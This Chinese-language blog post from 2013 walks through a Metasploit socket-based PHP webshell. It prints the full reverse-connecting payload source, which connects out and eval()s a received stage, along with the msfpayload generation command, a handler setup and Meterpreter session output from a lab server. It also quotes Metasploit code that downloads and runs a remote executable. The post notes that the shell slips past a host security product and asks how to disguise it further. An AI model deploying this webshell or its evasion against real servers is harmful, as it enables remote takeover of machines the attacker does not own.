Metasploit 之使用socket通信的webshell简单分析

upload (Van Helsing) | 2013-01-08 21:53

0x01 前言

常规的webshell都是调用该语言中常用函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式:socket通信。

常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中:

msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha1.php

生成的php_webshell:

#<?php

error_reporting(0);

# The payload handler overwrites this with the correct LHOST before sending

# it to the victim.

$ip = '192.168.1.5';

$port = 2013;

$ipf = AF_INET;

if (FALSE !== strpos($ip, ":")) {

  # ipv6 requires brackets around the address

  $ip = "[". $ip ."]";

  $ipf = AF_INET6;

}

if (($f = 'stream_socket_client') && is_callable($f)) {

  $s = $f("tcp://{$ip}:{$port}");

  $s_type = 'stream';

} elseif (($f = 'fsockopen') && is_callable($f)) {

  $s = $f($ip, $port);

  $s_type = 'stream';

} elseif (($f = 'socket_create') && is_callable($f)) {

  $s = $f($ipf, SOCK_STREAM, SOL_TCP);

  $res = @socket_connect($s, $ip, $port);

  if (!$res) { die(); }

  $s_type = 'socket';

} else {

  die('no socket funcs');

}

if (!$s) { die('no socket'); }

switch ($s_type) {

case 'stream': $len = fread($s, 4); break;

case 'socket': $len = socket_read($s, 4); break;

}

if (!$len) {

  # We failed on the main socket.  There's no way to continue, so

  # bail

  die();

}

$a = unpack("Nlen", $len);

$len = $a['len'];

$b = '';

while (strlen($b) < $len) {

  switch ($s_type) {

  case 'stream': $b .= fread($s, $len-strlen($b)); break;

  case 'socket': $b .= socket_read($s, $len-strlen($b)); break;

  }

}

# Set up the socket for the main stage to use.

$GLOBALS['msgsock'] = $s;

$GLOBALS['msgsock_type'] = $s_type;

eval($b);

die();

?>

0x02 实例

本机      (192.168.1.5)  : win03+msf+ie

测试服务器(192.168.1.108): win03+apache+safedog

设置相关模块:

msf > use multi/handler

msf  exploit(handler) > et PAYLOAD php/meterpreter/reverse_tcp

[-] Unknown command: et.

msf  exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp

PAYLOAD => php/meterpreter/reverse_tcp

msf  exploit(handler) >  set LHOST 192.168.1.5

LHOST => 192.168.1.5

msf  exploit(handler) > set LPORT 2013

LPORT => 2013

msf  exploit(handler) > exploit -j

[*] Exploit running as background job.


使用浏览器访问木马地址(假设我们已经上传到目标机):

http://192.168.1.108/sha1.php

成功返回一个Meterpreter session:

msf  exploit(handler) >

[*] Started reverse handler on 192.168.1.5:2013

[*] Starting the payload handler...

[*] Sending stage (39217 bytes) to 192.168.1.108

[*] Meterpreter session 2 opened (192.168.1.5:2013 -> 192.168.1.108:1052) at 2013-01-08 20:13:52 +0800

msf  exploit(handler) > sessions -l

Active sessions

===============

  Id  Type                 Information            Connection

  --  ----                 -----------            ----------

  2   meterpreter php/php  SYSTEM (0) @ WIN03SP0  192.168.1.5:2013 -> 192.168.1.108:1052 (192.168.1.108)

msf  exploit(handler) > sessions -i 2

[*] Starting interaction with 2...

meterpreter > sysinfo

Computer    : WIN03SP0

OS          : Windows NT WIN03SP0 5.2 build 3790 (Windows Server 2003 Enterprise Edition) i586

Meterpreter : php/php

meterpreter >


如图,phpspy.php安全狗正常拦截,sha1.php正常运行:

sha1.jpg

然后我们可以执行诸如ls列目录,ps查看进程信息等命令。

0x03 分析

在0x02中在获取的Meterpreter sessions中我们使用

meterpreter > execute -f c:\\sha1.exe

这个命令来执行可执行文件,如图所示:

QQ截图20130108212210.jpg

从数据包我们可以看见使用了dapi_sys_process execute这个方法,那么meterpreter是如何发起请求的?msf的源码中查看,找到execute有关的源码(ruby文件)

def php_exec_file

    exename = Rex::Text.rand_text_alpha(rand(8) + 4)

    dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)

    shell = <<-END_OF_PHP_CODE

    if (!function_exists('sys_get_temp_dir')) {

      function sys_get_temp_dir() {

        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }

        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }

        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }

        $tempfile=tempnam(uniqid(rand(),TRUE),'');

        if (file_exists($tempfile)) {

          @unlink($tempfile);

          return realpath(dirname($tempfile));

        }

        return null;

      }

    }

    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";

    $fd_in = fopen("#{datastore['URL']}", "rb");

    $fd_out = fopen($fname, "wb");

    while (!feof($fd_in)) {

      fwrite($fd_out, fread($fd_in, 8192));

    }

    fclose($fd_in);

    fclose($fd_out);

    chmod($fname, 0777);

    $c = $fname;

    #{php_preamble({:disabled_varname => dis})}

    #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}

    @unlink($fname);

    END_OF_PHP_CODE

    #return Rex::Text.compress(shell)

    return shell

  end

0x04 总结

这种方式执行的webshell,一般的安全防护软件应该还没对此进行监控与防御。大概原因在于这种方式的webshell的利用不是那么方便。但是如果哪位大神有好用的工具,这种webshell还是不错的。

0x05 问题

1.是否有安全软件对这种shell有防护效果

2.这种shell本身是否有什么缺陷

3.如何防这种shell

4.如何变形

5.more..